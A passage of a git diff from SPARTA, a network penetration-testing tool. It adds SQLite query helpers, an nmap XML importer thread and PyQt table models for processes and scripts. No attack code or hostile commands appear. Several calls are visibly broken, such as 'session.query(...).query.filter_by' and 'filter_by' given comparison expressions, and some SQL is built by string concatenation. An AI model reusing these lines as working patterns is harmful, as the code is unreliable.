so it appears nicely in the window title + self.projectname = str(filename) + self.outputfolder = str(foldername) + + self.usernamesWordlist = Wordlist(self.outputfolder + '/sparta-usernames.txt') # to store found usernames + self.passwordsWordlist = Wordlist(self.outputfolder + '/sparta-passwords.txt') # to store found passwords + + self.istemp = False # indicate that file is NOT temporary anymore and should NOT be deleted later + return True + + except: + print('\t[-] Something went wrong while saving the project..') + print("\t[-] Unexpected error:", sys.exc_info()[0]) + return False + + def isHostInDB(self, host): # used we don't run tools on hosts out of scope + tmp_query = 'SELECT host.ip FROM nmap_host AS host WHERE host.ip == ? OR host.hostname == ?' + result = self.db.metadata.bind.execute(tmp_query, str(host), str(host)).fetchall() + if result: + return True + return False + + def getHostsFromDB(self, filters): + tmp_query = 'SELECT * FROM nmap_host AS hosts WHERE 1=1' + + if filters.down == False: + tmp_query += ' AND hosts.status!=\'down\'' + if filters.up == False: + tmp_query += ' AND hosts.status!=\'up\'' + if filters.checked == False: + tmp_query += ' AND hosts.checked!=\'True\'' + for word in filters.keywords: + tmp_query += ' AND (hosts.ip LIKE \'%'+sanitise(word)+'%\' OR hosts.os_match LIKE \'%'+sanitise(word)+'%\' OR hosts.hostname LIKE \'%'+sanitise(word)+'%\')' + + return self.db.metadata.bind.execute(tmp_query).fetchall() + + # get distinct service names from DB + def getServiceNamesFromDB(self, filters): + tmp_query = ('SELECT DISTINCT service.name FROM nmap_service as service ' + + 'INNER JOIN nmap_port as ports ' + + 'INNER JOIN nmap_host AS hosts ' + + 'ON hosts.id = ports.host_id AND service.id=ports.service_id WHERE 1=1') + + if filters.down == False: + tmp_query += ' AND hosts.status!=\'down\'' + if filters.up == False: + tmp_query += ' AND hosts.status!=\'up\'' + if filters.checked == False: + tmp_query += ' AND hosts.checked!=\'True\'' + for word in filters.keywords: + tmp_query += ' AND (hosts.ip LIKE \'%'+sanitise(word)+'%\' OR hosts.os_match LIKE \'%'+sanitise(word)+'%\' OR hosts.hostname LIKE \'%'+sanitise(word)+'%\')' + if filters.portopen == False: + tmp_query += ' AND ports.state!=\'open\' AND ports.state!=\'open|filtered\'' + if filters.portclosed == False: + tmp_query += ' AND ports.state!=\'closed\'' + if filters.portfiltered == False: + tmp_query += ' AND ports.state!=\'filtered\' AND ports.state!=\'open|filtered\'' + if filters.tcp == False: + tmp_query += ' AND ports.protocol!=\'tcp\'' + if filters.udp == False: + tmp_query += ' AND ports.protocol!=\'udp\'' + + tmp_query += ' ORDER BY service.name ASC' + + return self.db.metadata.bind.execute(tmp_query).fetchall() + + # get notes for given host IP + def getNoteFromDB(self, hostId): + session = self.db.session() + return session.query(note).filter_by(host_id=str(hostId)).first() + #return note.query.filter_by(host_id=str(hostId)).first() + + # get script info for given host IP + def getScriptsFromDB(self, hostIP): + tmp_query = ('SELECT host.id,host.script_id,port.port_id,port.protocol FROM nmap_script AS host ' + + 'INNER JOIN nmap_host AS hosts ON hosts.id = host.host_id ' + + 'LEFT OUTER JOIN nmap_port AS port ON port.id=host.port_id ' + + 'WHERE hosts.ip=?') + + return self.db.metadata.bind.execute(tmp_query, str(hostIP)).fetchall() + + def getScriptOutputFromDB(self, scriptDBId): + tmp_query = ('SELECT script.output FROM nmap_script as script WHERE script.id=?') + return self.db.metadata.bind.execute(tmp_query, str(scriptDBId)).fetchall() + + # get port and service info for given host IP + def getPortsAndServicesForHostFromDB(self, hostIP, filters): + tmp_query = ('SELECT hosts.ip,ports.port_id,ports.protocol,ports.state,ports.host_id,ports.service_id,services.name,services.product,services.version,services.extrainfo,services.fingerprint FROM nmap_port AS ports ' + + 'INNER JOIN nmap_host AS hosts ON hosts.id = ports.host_id ' + + 'LEFT OUTER JOIN nmap_service AS services ON services.id=ports.service_id ' + + 'WHERE hosts.ip=?') + + if filters.portopen == False: + tmp_query += ' AND ports.state!=\'open\' AND ports.state!=\'open|filtered\'' + if filters.portclosed == False: + tmp_query += ' AND ports.state!=\'closed\'' + if filters.portfiltered == False: + tmp_query += ' AND ports.state!=\'filtered\' AND ports.state!=\'open|filtered\'' + if filters.tcp == False: + tmp_query += ' AND ports.protocol!=\'tcp\'' + if filters.udp == False: + tmp_query += ' AND ports.protocol!=\'udp\'' + + return self.db.metadata.bind.execute(tmp_query, str(hostIP)).fetchall() + + # used to check if there are any ports of a specific protocol for a given host + def getPortsForHostFromDB(self, hostIP, protocol): + tmp_query = ('SELECT ports.port_id FROM nmap_port AS ports ' + + 'INNER JOIN nmap_host AS hosts ON hosts.id = ports.host_id ' + + 'WHERE hosts.ip=? and ports.protocol=?') + + return self.db.metadata.bind.execute(tmp_query, str(hostIP), str(protocol)).first() + + # used to get the service name given a host ip and a port when we are in tools tab (left) and right click on a host + def getServiceNameForHostAndPort(self, hostIP, port): + tmp_query = ('SELECT services.name FROM nmap_service AS services ' + + 'INNER JOIN nmap_host AS hosts ON hosts.id = ports.host_id ' + + 'INNER JOIN nmap_port AS ports ON services.id=ports.service_id ' + + 'WHERE hosts.ip=? and ports.port_id=?') + + return self.db.metadata.bind.execute(tmp_query, str(hostIP), str(port)).first() + + # used to delete all port/script data related to a host - to overwrite portscan info with the latest scan + def deleteAllPortsAndScriptsForHostFromDB(self, hostID, protocol): + session = self.db.session() + ports_for_host = session.query(nmap_port).filter_by(nmap_port.host_id == hostID, nmap_port.protocol == str(protocol)).all() + #ports_for_host = nmap_port.query.filter(nmap_port.host_id == hostID, nmap_port.protocol == str(protocol)).all() + + for p in ports_for_host: + scripts_for_ports = session.query(nmap_script).filter(nmap_script.port_id == p.id).all() + #scripts_for_ports = nmap_script.query.filter(nmap_script.port_id == p.id).all() + for s in scripts_for_ports: + session.delete(s) + #s.delete() + + for p in ports_for_host: + session.delete(p) + #p.delete() + + #self.db.commit() + session.commit() + + def getHostInformation(self, hostIP): + session = self.db.session() + return session.query(nmap_host).filter_by(ip=str(hostIP)).first() + #return nmap_host.query.filter_by(ip=str(hostIP)).first() + + def getPortStatesForHost(self,hostID): + tmp_query = ('SELECT port.state FROM nmap_port as port WHERE port.host_id=?') + return self.db.metadata.bind.execute(tmp_query, str(hostID)).fetchall() + + def getHostsAndPortsForServiceFromDB(self, serviceName, filters): + + tmp_query = ('SELECT hosts.ip,ports.port_id,ports.protocol,ports.state,ports.host_id,ports.service_id,services.name,services.product,services.version,services.extrainfo,services.fingerprint FROM nmap_port AS ports ' + + 'INNER JOIN nmap_host AS hosts ON hosts.id = ports.host_id ' + + 'LEFT OUTER JOIN nmap_service AS services ON services.id=ports.service_id ' + + 'WHERE services.name=?') + + if filters.down == False: + tmp_query += ' AND hosts.status!=\'down\'' + if filters.up == False: + tmp_query += ' AND hosts.status!=\'up\'' + if filters.checked == False: + tmp_query += ' AND hosts.checked!=\'True\'' + if filters.portopen == False: + tmp_query += ' AND ports.state!=\'open\' AND ports.state!=\'open|filtered\'' + if filters.portclosed == False: + tmp_query += ' AND ports.state!=\'closed\'' + if filters.portfiltered == False: + tmp_query += ' AND ports.state!=\'filtered\' AND ports.state!=\'open|filtered\'' + if filters.tcp == False: + tmp_query += ' AND ports.protocol!=\'tcp\'' + if filters.udp == False: + tmp_query += ' AND ports.protocol!=\'udp\'' + for word in filters.keywords: + tmp_query += ' AND (hosts.ip LIKE \'%'+sanitise(word)+'%\' OR hosts.os_match LIKE \'%'+sanitise(word)+'%\' OR hosts.hostname LIKE \'%'+sanitise(word)+'%\')' + + return self.db.metadata.bind.execute(tmp_query, str(serviceName)).fetchall() + + # this function returns all the processes from the DB + # the showProcesses flag is used to ensure we don't display processes in the process table after we have cleared them or when an existing project is opened. + # to speed up the queries we replace the columns we don't need by zeros (the reason we need all the columns is we are using the same model to display process information everywhere) + def getProcessesFromDB(self, filters, showProcesses=''): + if showProcesses == '': # we do not fetch nmap processes because these are not displayed in the host tool tabs / tools + tmp_query = ('SELECT "0", "0", "0", process.name, "0", "0", "0", "0", "0", "0", "0", "0", "0", "0", "0" FROM process AS process WHERE process.closed="False" AND process.name!="nmap" group by process.name') + result = self.db.metadata.bind.execute(tmp_query).fetchall() + + elif showProcesses == False: # when opening a project, fetch only the processes that have display=false and were not in tabs that were closed by the user + tmp_query = ('SELECT process.id, process.hostip, process.tabtitle, process.outputfile, poutput.output FROM process AS process ' + 'INNER JOIN process_output AS poutput ON process.id = poutput.process_id ' + 'WHERE process.display=? AND process.closed="False" order by process.id desc') + result = self.db.metadata.bind.execute(tmp_query, str(showProcesses)).fetchall() + + else: # show all the processes in the (bottom) process table (no matter their closed value) + tmp_query = ('SELECT * FROM process AS process WHERE process.display=? order by id desc') + result = self.db.metadata.bind.execute(tmp_query, str(showProcesses)).fetchall() + + return result + + def getHostsForTool(self, toolname, closed='False'): + if closed == 'FetchAll': + tmp_query = ('SELECT "0", "0", "0", "0", "0", process.hostip, process.port, process.protocol, "0", "0", process.outputfile, "0", "0", "0" FROM process AS process WHERE process.name=?') + else: + tmp_query = ('SELECT process.id, "0", "0", "0", "0", process.hostip, process.port, process.protocol, "0", "0", process.outputfile, "0", "0", "0" FROM process AS process WHERE process.name=? and process.closed="False"') + + return self.db.metadata.bind.execute(tmp_query, str(toolname)).fetchall() + + def getProcessStatusForDBId(self, dbid): + tmp_query = ('SELECT process.status FROM process AS process WHERE process.id=?') + p = self.db.metadata.bind.execute(tmp_query, str(dbid)).fetchall() + if p: + return p[0][0] + return -1 + + def getPidForProcess(self, procid): + tmp_query = ('SELECT process.pid FROM process AS process WHERE process.id=?') + p = self.db.metadata.bind.execute(tmp_query, str(procid)).fetchall() + if p: + return p[0][0] + return -1 + + def toggleHostCheckStatus(self, ipaddr): + session = self.db.session() + h = session.query(nmap_host).filter_by(ip=ipaddr).first() + # h = nmap_host.query.filter_by(ip=ipaddr).first() + if h: + if h.checked == 'False': + h.checked = 'True' + else: + h.checked = 'False' + session.add(h) + #session.commit() + self.db.commit() + + # this function adds a new process to the DB + def addProcessToDB(self, proc): + print('Add process') + p_output = process_output() # add row to process_output table (separate table for performance reasons) + p = process(str(proc.pid()), str(proc.name), str(proc.tabtitle), str(proc.hostip), str(proc.port), str(proc.protocol), unicode(proc.command), proc.starttime, "", str(proc.outputfile), 'Waiting', p_output) + print(p) + session = self.db.session() + session.add(p) + #session.commit() + self.db.commit() + proc.id = p.id + return p.id + + def addScreenshotToDB(self, ip, port, filename): + p_output = process_output() # add row to process_output table (separate table for performance reasons) + p = process("-2", "screenshooter", "screenshot ("+str(port)+"/tcp)", str(ip), str(port), "tcp", "", getTimestamp(True), getTimestamp(True), str(filename), "Finished", p_output) + session = self.db.session() + session.add(p) + session.commit() + return p.id + + # is not actually a toggle function. it sets all the non-running processes display flag to false to ensure they aren't shown in the process table + # but they need to be shown as tool tabs. this function is called when a user clears the processes or when a project is being closed. + def toggleProcessDisplayStatus(self, resetAll=False): + session = self.db.session() + proc = session.query(process).filter_by(display='True').all() + #proc = process.query.filter_by(display='True').all() + if resetAll == True: + for p in proc: + if p.status != 'Running': + p.display = 'False' + session.add(p) + else: + for p in proc: + if p.status != 'Running' and p.status != 'Waiting': + p.display = 'False' + session.add(p) + #session.commit() + self.db.commit() + + # this function updates the status of a process if it is killed + def storeProcessKillStatusInDB(self, procId): + session = self.db.session() + proc = session.query(process).filter_by(id=procId).first() + #proc = process.query.filter_by(id=procId).first() + if proc and not proc.status == 'Finished': + proc.status = 'Killed' + proc.endtime = getTimestamp(True) # store end time + session.add(proc) + #session.commit() + self.db.commit() + + def storeProcessCrashStatusInDB(self, procId): + session = self.db.session() + proc = session.query(process).filter_by(id=procId).first() + #proc = process.query.filter_by(id=procId).first() + if proc and not proc.status == 'Killed' and not proc.status == 'Cancelled': + proc.status = 'Crashed' + proc.endtime = getTimestamp(True) # store end time + session.add(proc) + #session.commit() + self.db.commit() + + # this function updates the status of a process if it is killed + def storeProcessCancelStatusInDB(self, procId): + session = self.db.session() + proc = session.query(process).filter_by(id=procId).first() + #proc = process.query.filter_by(id=procId).first() + if proc: + proc.status = 'Cancelled' + proc.endtime = getTimestamp(True) # store end time + session.add(proc) + #session.commit() + self.db.commit() + + def storeProcessRunningStatusInDB(self, procId, pid): + session = self.db.session() + proc = session.query(process).filter_by(id=procId).first() + #proc = process.query.filter_by(id=procId).first() + if proc: + proc.status = 'Running' + proc.pid = str(pid) + session.add(proc) + #session.commit() + self.db.commit() + + # change the status in the db as closed + def storeCloseTabStatusInDB(self, procId): + session = self.db.session() + proc = session.query(process).filter_by(id=procId).first() + #proc = process.query.filter_by(id=int(procId)).first() + if proc: + proc.closed = 'True' + session.add(proc) + #session.commit() + self.db.commit() + + # this function stores a finished process' output to the DB and updates it status + def storeProcessOutputInDB(self, procId, output): + session = self.db.session() + proc = session.query(process).filter_by(id=procId).first() + #proc = process.query.filter_by(id=procId).first() + if proc: + proc_output = session.query(process_output).filter_by(process_id=procId).first() + #proc_output = process_output.query.filter_by(process_id=procId).first() + if proc_output: + proc_output.output=unicode(output) + session.add(proc_output) + + proc.endtime = getTimestamp(True) # store end time + + if proc.status == "Killed" or proc.status == "Cancelled" or proc.status == "Crashed": # if the process has been killed don't change the status to "Finished" + #session.commit() + self.db.commit() # new: this was missing but maybe this is important here to ensure that we save the process output no matter what + return True + else: + proc.status = 'Finished' + session.add(proc) + #session.commit() + self.db.commit() + + def storeNotesInDB(self, hostId, notes): + if len(notes) == 0: + notes = unicode("Notes for {hostId}".format(hostId=hostId)) + print("Storing notes for {hostId}, Notes {notes}".format(hostId=hostId, notes=notes)) + t_note = self.getNoteFromDB(hostId) + if t_note: + t_note.text = unicode(notes) + else: + t_note = note(hostId, unicode(notes)) + session = self.db.session() + session.add(t_note) + #session.commit() + self.db.commit() + + def isKilledProcess(self, procId): + tmp_query = ('SELECT process.status FROM process AS process WHERE process.id=?') + proc = self.db.metadata.bind.execute(tmp_query, str(procId)).fetchall() + if not proc or str(proc[0][0]) == "Killed": + return True + return False + + def isCanceledProcess(self, procId): + tmp_query = ('SELECT process.status FROM process AS process WHERE process.id=?') + proc = self.db.metadata.bind.execute(tmp_query, str(procId)).fetchall() + if not proc or str(proc[0][0]) == "Cancelled": + return True + return False + +class NmapImporter(QtCore.QThread): + tick = QtCore.pyqtSignal(int, name="changed") # New style signal + done = QtCore.pyqtSignal(name="done") # New style signal + schedule = QtCore.pyqtSignal(object, bool, name="schedule") # New style signal + + def __init__(self): + QtCore.QThread.__init__(self, parent=None) + self.output = '' + + def setDB(self, db): + self.db = db + + def setFilename(self, filename): + self.filename = filename + + def setOutput(self, output): + self.output = output + + def run(self): # it is necessary to get the qprocess because we need to send it back to the scheduler when we're done importing + try: + session = self.db.session() + print("[+] Parsing nmap xml file: " + self.filename) + starttime = time.time() + + try: + parser = Parser(self.filename) + except: + print('\t[-] Giving up on import due to previous errors.') + print("\t[-] Unexpected error:", sys.exc_info()[0]) + self.done.emit() + return + + self.db.dbsemaphore.acquire() # ensure that while this thread is running, no one else can write to the DB + s = parser.get_session() # nmap session info + if s: + n = nmap_session(self.filename, s.start_time, s.finish_time, s.nmap_version, s.scan_args, s.total_hosts, s.up_hosts, s.down_hosts) + session.add(n) + hostCount = len(parser.all_hosts()) + if hostCount==0: # to fix a division by zero if we ran nmap on one host + hostCount=1 + progress = 100.0 / hostCount + totalprogress = 0 + self.tick.emit(int(totalprogress)) + + for h in parser.all_hosts(): # create all the hosts that need to be created + db_host = session.query(nmap_host).filter_by(ip=h.ip).first() + #db_host = nmap_host.query.filter_by(ip=h.ip).first() + + if not db_host: # if host doesn't exist in DB, create it first + hid = nmap_host('', '', h.ip, h.ipv4, h.ipv6, h.macaddr, h.status, h.hostname, h.vendor, h.uptime, h.lastboot, h.distance, h.state, h.count) + session.add(hid) + t_note = note(h.ip, 'Added by nmap') + session.add(t_note) + + session.commit() + + for h in parser.all_hosts(): # create all OS, service and port objects that need to be created + db_host = session.query(nmap_host).filter_by(ip=h.ip).first() + #db_host = nmap_host.query.filter_by(ip=h.ip).first() # fetch the host + + os_nodes = h.get_OS() # parse and store all the OS nodes + for os in os_nodes: + db_os = session.query(nmap_os).filter_by(host_id=db_host.id).filter_by(name=os.name).filter_by(family=os.family).filter_by(generation=os.generation).filter_by(os_type=os.os_type).filter_by(vendor=os.vendor).first() + #db_os = nmap_os.query.filter_by(host_id=db_host.id).filter_by(name=os.name).filter_by(family=os.family).filter_by(generation=os.generation).filter_by(os_type=os.os_type).filter_by(vendor=os.vendor).first() + + if not db_os: + t_nmap_os = nmap_os(os.name, os.family, os.generation, os.os_type, os.vendor, os.accuracy, db_host) + session.add(t_nmap_os) + + for p in h.all_ports(): # parse the ports + s = p.get_service() + + if not (s is None): # check if service already exists to avoid adding duplicates + db_service = session.query(nmap_service).filter_by(name=s.name).filter_by(product=s.product).filter_by(version=s.version).filter_by(extrainfo=s.extrainfo).filter_by(fingerprint=s.fingerprint).first() + #db_service = nmap_service.query.filter_by(name=s.name).filter_by(product=s.product).filter_by(version=s.version).filter_by(extrainfo=s.extrainfo).filter_by(fingerprint=s.fingerprint).first() + + if not db_service: + db_service = nmap_service(s.name, s.product, s.version, s.extrainfo, s.fingerprint) + session.add(db_service) + + else: # else, there is no service info to parse + db_service = None + # fetch the port + db_port = session.query(nmap_port).filter_by(host_id=db_host.id).filter_by(port_id=p.portId).filter_by(protocol=p.protocol).first() + #db_port = nmap_port.query.filter_by(host_id=db_host.id).filter_by(port_id=p.portId).filter_by(protocol=p.protocol).first() + + if not db_port: + db_port = nmap_port(p.portId, p.protocol, p.state, db_host.id, db_service) + session.add(db_port) + + session.commit() + + totalprogress += progress + self.tick.emit(int(totalprogress)) + + for h in parser.all_hosts(): # create all script objects that need to be created + + #db_host = nmap_host.query.filter_by(ip=h.ip).first() + db_host = session.query(nmap_host).filter_by(ip=h.ip).first() + + for p in h.all_ports(): + for scr in p.get_scripts(): + + #db_port = nmap_port.query.filter_by(host_id=db_host.id).filter_by(port_id=p.portId).filter_by(protocol=p.protocol).first() + db_port = session.query(nmap_port).filter_by(host_id=db_host.id).filter_by(port_id=p.portId).filter_by(protocol=p.protocol).first() + #db_script = nmap_script.query.filter_by(script_id=scr.scriptId).filter_by(port_id=db_port.id).first() + db_script = session.query(nmap_script).filter_by(script_id=scr.scriptId).filter_by(port_id=db_port.id).first() + + if not db_script: # if this script object doesn't exist, create it + t_nmap_script = nmap_script(scr.scriptId, scr.output, db_port, db_host) + session.add(t_nmap_script) + + for hs in h.get_hostscripts(): + #db_script = nmap_script.query.filter_by(script_id=hs.scriptId).filter_by(host_id=db_host.id).first() + db_script = session.query(nmap_script).query.filter_by(script_id=hs.scriptId).filter_by(host_id=db_host.id).first() + if not db_script: + t_nmap_script = nmap_script(hs.scriptId, hs.output, None, db_host) + session.add(t_nmap_script) + + session.commit() + + for h in parser.all_hosts(): # update everything + + db_host = session.query(nmap_host).filter_by(ip=h.ip).first() + #db_host = nmap_host.query.filter_by(ip=h.ip).first() # get host from DB (if any with the same IP address) + + if db_host.ipv4 == '' and not h.ipv4 == '': + db_host.ipv4 = h.ipv4 + if db_host.ipv6 == '' and not h.ipv6 == '': + db_host.ipv6 = h.ipv6 + if db_host.macaddr == '' and not h.macaddr == '': + db_host.macaddr = h.macaddr + if not h.status == '': + db_host.status = h.status + if db_host.hostname == '' and not h.hostname == '': + db_host.hostname = h.hostname + if db_host.vendor == '' and not h.vendor == '': + db_host.vendor = h.vendor + if db_host.uptime == '' and not h.uptime == '': + db_host.uptime = h.uptime + if db_host.lastboot == '' and not h.lastboot == '': + db_host.lastboot = h.lastboot + if db_host.distance == '' and not h.distance == '': + db_host.distance = h.distance + if db_host.state == '' and not h.state == '': + db_host.state = h.state + if db_host.count == '' and not h.count == '': + db_host.count = h.count + + session.add(db_host) + + tmp_name = '' + tmp_accuracy = '0' # TODO: check if better to convert to int for comparison + + os_nodes = h.get_OS() + for os in os_nodes: + #db_os = nmap_os.query.filter_by(host_id=db_host.id).filter_by(name=os.name).filter_by(family=os.family).filter_by(generation=os.generation).filter_by(os_type=os.os_type).filter_by(vendor=os.vendor).first() + db_os = session.query(nmap_os).filter_by(host_id=db_host.id).filter_by(name=os.name).filter_by(family=os.family).filter_by(generation=os.generation).filter_by(os_type=os.os_type).filter_by(vendor=os.vendor).first() + + db_os.os_accuracy = os.accuracy # update the accuracy + + if not os.name == '': # get the most accurate OS match/accuracy to store it in the host table for easier access + if os.accuracy > tmp_accuracy: + tmp_name = os.name + tmp_accuracy = os.accuracy + + if os_nodes: # if there was operating system info to parse + + if not tmp_name == '' and not tmp_accuracy == '0': # update the current host with the most accurate OS match + db_host.os_match = tmp_name + db_host.os_accuracy = tmp_accuracy + + session.add(db_host) + + for p in h.all_ports(): + s = p.get_service() + if not (s is None): + # fetch the service for this port + #db_service = nmap_service.query.filter_by(name=s.name).filter_by(product=s.product).filter_by(version=s.version).filter_by(extrainfo=s.extrainfo).filter_by(fingerprint=s.fingerprint).first() + db_service = session.query(nmap_service).query.filter_by(name=s.name).filter_by(product=s.product).filter_by(version=s.version).filter_by(extrainfo=s.extrainfo).filter_by(fingerprint=s.fingerprint).first() + else: + db_service = None + # fetch the port + #db_port = nmap_port.query.filter_by(host_id=db_host.id).filter_by(port_id=p.portId).filter_by(protocol=p.protocol).first() + db_port = session.query(nmap_port).filter_by(host_id=db_host.id).filter_by(port_id=p.portId).filter_by(protocol=p.protocol).first() + db_port.state = p.state + + if not (db_service is None): # if there is some new service information, update it + db_port.service_id = db_service.id + + session.add(db_port) + + for scr in p.get_scripts(): # store the script results (note that existing script outputs are also kept) + #db_script = nmap_script.query.filter_by(script_id=scr.scriptId).filter_by(port_id=db_port.id).first() + db_script = session.query(nmap_script).query.filter_by(script_id=scr.scriptId).filter_by(port_id=db_port.id).first() + + if not scr.output == '': + db_script.output = scr.output + + session.add(db_script) + + totalprogress += progress + self.tick.emit(int(totalprogress)) + + session.commit() + self.db.dbsemaphore.release() # we are done with the DB + print('\t[+] Finished in '+ str(time.time()-starttime) + ' seconds.') + self.done.emit() + self.schedule.emit(parser, self.output == '') # call the scheduler (if there is no terminal output it means we imported nmap) + + except Exception as e: + print('\t[-] Something went wrong when parsing the nmap file..') + print("\t[-] Unexpected error:", sys.exc_info()[0]) + print(e) + raise + self.done.emit() diff --git a/app/processmodels.py b/app/processmodels.py new file mode 100644 index 00000000..a6e75c12 --- /dev/null +++ b/app/processmodels.py @@ -0,0 +1,199 @@ +#!/usr/bin/env python + +''' +SPARTA - Network Infrastructure Penetration Testing Tool (http://sparta.secforce.com) +Copyright (c) 2015 SECFORCE (Antonio Quina and Leonidas Stavliotis) + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along with this program. If not, see . +''' + +import re +from PyQt4 import QtGui, QtCore +from app.auxiliary import * # for bubble sort + +class ProcessesTableModel(QtCore.QAbstractTableModel): + + def __init__(self, controller, processes = [[]], headers = [], parent = None): + QtCore.QAbstractTableModel.__init__(self, parent) + self.__headers = headers + self.__processes = processes + self.__controller = controller + + def setProcesses(self, processes): + self.__processes = processes + + def getProcesses(self): + return self.__processes + + def rowCount(self, parent): + return len(self.__processes) + + def columnCount(self, parent): + if not len(self.__processes) is 0: + return len(self.__processes[0]) + return 0 + + def headerData(self, section, orientation, role): + if role == QtCore.Qt.DisplayRole: + + if orientation == QtCore.Qt.Horizontal: + + if section < len(self.__headers): + return self.__headers[section] + else: + return "not implemented" + + def data(self, index, role): # this method takes care of how the information is displayed + if role == QtCore.Qt.DisplayRole: # how to display each cell + value = '' + row = index.row() + column = index.column() + + if column == 1: + value = self.__processes[row]['display'] + elif column == 2: + value = self.__processes[row]['pid'] + elif column == 3: + value = self.__processes[row]['name'] + elif column == 4: + if not self.__processes[row]['tabtitle'] == '': + value = self.__processes[row]['tabtitle'] + else: + value = self.__processes[row]['name'] + elif column == 5: + value = self.__processes[row]['hostip'] + elif column == 6: + if not self.__processes[row]['port'] == '' and not self.__processes[row]['protocol'] == '': + value = self.__processes[row]['port'] + '/' + self.__processes[row]['protocol'] + else: + value = self.__processes[row]['port'] + elif column == 7: + value = self.__processes[row]['protocol'] + elif column == 8: + value = self.__processes[row]['command'] + elif column == 9: + value = self.__processes[row]['starttime'] + elif column == 10: + value = self.__processes[row]['endtime'] + elif column == 11: + value = self.__processes[row]['outputfile'] + elif column == 12: + value = self.__processes[row]['output'] + elif column == 13: + value = self.__processes[row]['status'] + elif column == 14: + value = self.__processes[row]['closed'] + return value + + def sort(self, Ncol, order): + self.emit(SIGNAL("layoutAboutToBeChanged()")) + array=[] + + if Ncol == 3: + for i in range(len(self.__processes)): + array.append(self.__processes[i]['name']) + + elif Ncol == 4: + for i in range(len(self.__processes)): + array.append(self.__processes[i]['tabtitle']) + + elif Ncol == 5: + for i in range(len(self.__processes)): + array.append(IP2Int(self.__processes[i]['hostip'])) + + elif Ncol == 6: + for i in range(len(self.__processes)): + if self.__processes[i]['port'] == '': + return + else: + array.append(int(self.__processes[i]['port'])) + + elif Ncol == 9: + for i in range(len(self.__processes)): + array.append(self.__processes[i]['starttime']) + + elif Ncol == 10: + for i in range(len(self.__processes)): + array.append(self.__processes[i]['endtime']) + + else: + for i in range(len(self.__processes)): + array.append(self.__processes[i]['status']) + + sortArrayWithArray(array, self.__processes) # sort the services based on the values in the array + + if order == Qt.AscendingOrder: # reverse if needed + self.__processes.reverse() + + self.__controller.updateProcessesIcon() # to make sure the progress GIF is displayed in the right place + + self.emit(SIGNAL("layoutChanged()")) + + def flags(self, index): # method that allows views to know how to treat each item, eg: if it should be enabled, editable, selectable etc + return QtCore.Qt.ItemIsEnabled | QtCore.Qt.ItemIsSelectable + + ### getter functions ### + + def getProcessPidForRow(self, row): + return self.__processes[row]['pid'] + + def getProcessPidForId(self, dbId): + for i in range(len(self.__processes)): + if str(self.__processes[i]['id']) == str(dbId): + return self.__processes[i]['pid'] + + def getProcessStatusForRow(self, row): + return self.__processes[row]['status'] + + def getProcessStatusForPid(self, pid): + for i in range(len(self.__processes)): + if str(self.__processes[i]['pid']) == str(pid): + return self.__processes[i]['status'] + + def getProcessStatusForId(self, dbId): + for i in range(len(self.__processes)): + if str(self.__processes[i]['id']) == str(dbId): + return self.__processes[i]['status'] + + def getProcessIdForRow(self, row): + return self.__processes[row]['id'] + + def getProcessIdForPid(self, pid): + for i in range(len(self.__processes)): + if str(self.__processes[i]['pid']) == str(pid): + return self.__processes[i]['id'] + + def getToolNameForRow(self, row): + return self.__processes[row]['name'] + + def getRowForToolName(self, toolname): + for i in range(len(self.__processes)): + if self.__processes[i]['name'] == toolname: + return i + + def getRowForDBId(self, dbid): # new + for i in range(len(self.__processes)): + if self.__processes[i]['id'] == dbid: + return i + + def getIpForRow(self, row): + return self.__processes[row]['hostip'] + + def getPortForRow(self, row): + return self.__processes[row]['port'] + + def getProtocolForRow(self, row): + return self.__processes[row]['protocol'] + + def getOutputForRow(self, row): + return self.__processes[row]['output'] + + def getOutputfileForRow(self, row): + return self.__processes[row]['outputfile'] + + def getDisplayForRow(self, row): + return self.__processes[row]['display'] diff --git a/app/scriptmodels.py b/app/scriptmodels.py new file mode 100644 index 00000000..e4eb03a8 --- /dev/null +++ b/app/scriptmodels.py @@ -0,0 +1,98 @@ +#!/usr/bin/env python + +''' +SPARTA - Network Infrastructure Penetration Testing Tool (http://sparta.secforce.com) +Copyright (c) 2014 SECFORCE (Antonio Quina and Leonidas Stavliotis) + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along with this program. If not, see . +''' + +import re +from PyQt4 import QtGui, QtCore +from app.auxiliary import * # for bubble sort + +class ScriptsTableModel(QtCore.QAbstractTableModel): + + def __init__(self, controller, scripts = [[]], headers = [], parent = None): + QtCore.QAbstractTableModel.__init__(self, parent) + self.__headers = headers + self.__scripts = scripts + self.__controller = controller + + def setScripts(self, scripts): + self.__scripts = scripts + + def getScripts(self): + return self.__scripts + + def rowCount(self, parent): + return len(self.__scripts) + + def columnCount(self, parent): + if not len(self.__scripts) is 0: + return len(self.__scripts[0]) + return 0 + + def headerData(self, section, orientation, role): + if role == QtCore.Qt.DisplayRole: + if orientation == QtCore.Qt.Horizontal: + if section < len(self.__headers): + return self.__headers[section] + else: + return "not implemented" + + def data(self, index, role): # this method takes care of how the information is displayed + + if role == QtCore.Qt.DisplayRole: # how to display each cell + value = '' + row = index.row() + column = index.column() + + if column == 0: + value = self.__scripts[row]['id'] + elif column == 1: + value = self.__scripts[row]['script_id'] + elif column == 2: + if self.__scripts[row]['port_id'] and self.__scripts[row]['protocol'] and not self.__scripts[row]['port_id'] == '' and not self.__scripts[row]['protocol'] == '': + value = self.__scripts[row]['port_id'] + '/' + self.__scripts[row]['protocol'] + else: + value = '' + elif column == 3: + value = self.__scripts[row]['protocol'] + return value + + + def sort(self, Ncol, order): + self.emit(SIGNAL("layoutAboutToBeChanged()")) + array=[] + + if Ncol == 1: + for i in range(len(self.__scripts)): + array.append(self.__scripts[i]['script_id']) + if Ncol == 2: + for i in range(len(self.__scripts)): + array.append(int(self.__scripts[i]['port_id'])) + + sortArrayWithArray(array, self.__scripts) # sort the services based on the values in the array + + if order == Qt.AscendingOrder: # reverse if needed + self.__scripts.reverse() + + self.emit(SIGNAL("layoutChanged()")) + + def flags(self, index): # method that allows views to know how to treat each item, eg: if it should be 